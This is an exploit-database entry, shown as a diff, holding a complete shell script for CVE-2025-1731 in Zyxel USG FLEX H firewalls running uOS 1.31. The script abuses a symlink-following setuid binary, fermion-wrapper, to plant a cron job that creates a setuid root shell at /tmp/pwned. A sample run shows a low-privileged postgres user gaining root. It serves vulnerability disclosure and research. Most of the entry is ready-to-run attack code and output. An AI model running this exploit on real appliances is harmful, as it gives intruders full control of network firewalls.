1+ # Exploit Title: Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation
2+ # Date: 2025-04-23
3+ # Exploit Author: Marco Ivaldi
4+ # Vendor Homepage: https://www.zyxel.com/
5+ # Version: Zyxel uOS V1.31 (see
6+ https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-=
7+ =3D
8+ advisory-for-incorrect-permission-assignment-and-improper-privilege-managem=
9+ =3D
10+ ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025)
11+ # Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel
12+ FLEX200H with Firmware V1.31(ABWV.0)
13+ # CVE: CVE-2025-1731
14+
15+ #! /bin/sh
16+
17+ #
18+ # raptor_fermion - Zyxel fermion-wrapper root LPE exploit
19+ # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
20+ #
21+ # "So we wait, this is our labour... we wait."
22+ # -- Anthony Swofford on fuzzing
23+ #
24+ # The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by
25+ # Zyxel with some of their appliances follows symbolic links in the `/tmp`
26+ # directory when run with the `register-status` argument. This allows local
27+ # users with access to a Linux OS shell to trick the program into creating
28+ # writable files at arbitrary locations in the filesystem. This vulnerability
29+ # can be exploited to overwrite arbitrary files or locally escalate privileges
30+ # from low-privileged user (e.g., `postgres`) to root.
31+ #
32+ # Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies
33+ # exploitation of this vulnerability and may also cause all sorts of havoc.
34+ #
35+ # ## Vulnerability information
36+ #
37+ # * CVE ID - CVE-2025-1731
38+ # * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
39+ # * CWE-61 - https://cwe.mitre.org/data/definitions/61.html
40+ #
41+ # ## Relevant links
42+ #
43+ # * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt
44+ # * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731
45+ # * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732
46+ # * https://security.humanativaspa.it/tag/zyxel/
47+ #
48+ # ## Usage example
49+ #
50+ # ```
51+ # $ ./raptor_fermion
52+ # raptor_fermion - Zyxel fermion-wrapper root LPE exploit
53+ # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
54+ #
55+ # [*] Exploiting /usr/sbin/fermion-wrapper
56+ # $ uname -a
57+ # Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
58+ # $ id
59+ # uid=502(postgres) gid=502(postgres) groups=502(postgres)
60+ # $ ls -l /usr/sbin/fermion-wrapper
61+ # -rwsr-xr-x 1 root root 44288 Jan 9 05:34 /usr/sbin/fermion-wrapper
62+ # {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}
63+ #
64+ # [+] Everything looks good \o/, wait an hour and check /tmp/pwned
65+ # $ ls -l /etc/cron.d/runme
66+ # -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
67+ # $ cat /etc/cron.d/runme
68+ # * * * * * cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme
69+ #
70+ # [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p
71+ #
72+ # [about one hour later...]
73+ #
74+ # $ ls -l /tmp/pwned
75+ # -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
76+ # $ /tmp/pwned -p
77+ # # id
78+ # uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
79+ # # R00t D4nc3!!!111! \o/
80+ # ```
81+ #
82+ # ## Tested on
83+ #
84+ # * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47
85+ # * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31
86+ #
87+ # *Note: other products and firmware versions may also be vulnerable.*
88+ #
89+ # ## Special thanks
90+ #
91+ # * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices
92+ #
93+
94+ echo " raptor_fermion - Zyxel fermion-wrapper root LPE exploit"
95+ echo " Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>"
96+ echo
97+
98+ target=" /usr/sbin/fermion-wrapper"
99+ tmpfile=" /tmp/register_status"
100+ runme=" /etc/cron.d/runme"
101+ shell=" /tmp/pwned"
102+
103+ echo " [*] Exploiting $target "
104+ echo " $ uname -a"
105+ uname -a
106+ echo " $ id"
107+ id
108+ echo " $ ls -l $target "
109+ ls -l $target
110+
111+ umask 0
112+ rm $tmpfile
113+ ln -s $runme /tmp/register_status
114+ $target register-status
115+ echo " * * * * * cp /bin/sh $shell ; chmod 4755 $shell ; rm $runme " > $runme
116+
117+ if [ " ` cat $runme 2> /dev/null` " = " " ]; then
118+ echo " [!] Error: something went wrong ¯\\ _(ツ)_/¯"
119+ exit 1
120+ fi
121+
122+ echo
123+ echo " [+] Everything looks good \\ o/, wait an hour and check $shell "
124+ echo " $ ls -l $runme "
125+ ls -l $runme
126+ echo " $ cat $runme "
127+ cat $runme
128+
129+ echo
130+ echo " [+] Run the shell as follows to bypass bash checks: $shell -p"
131+ echo
0 commit comments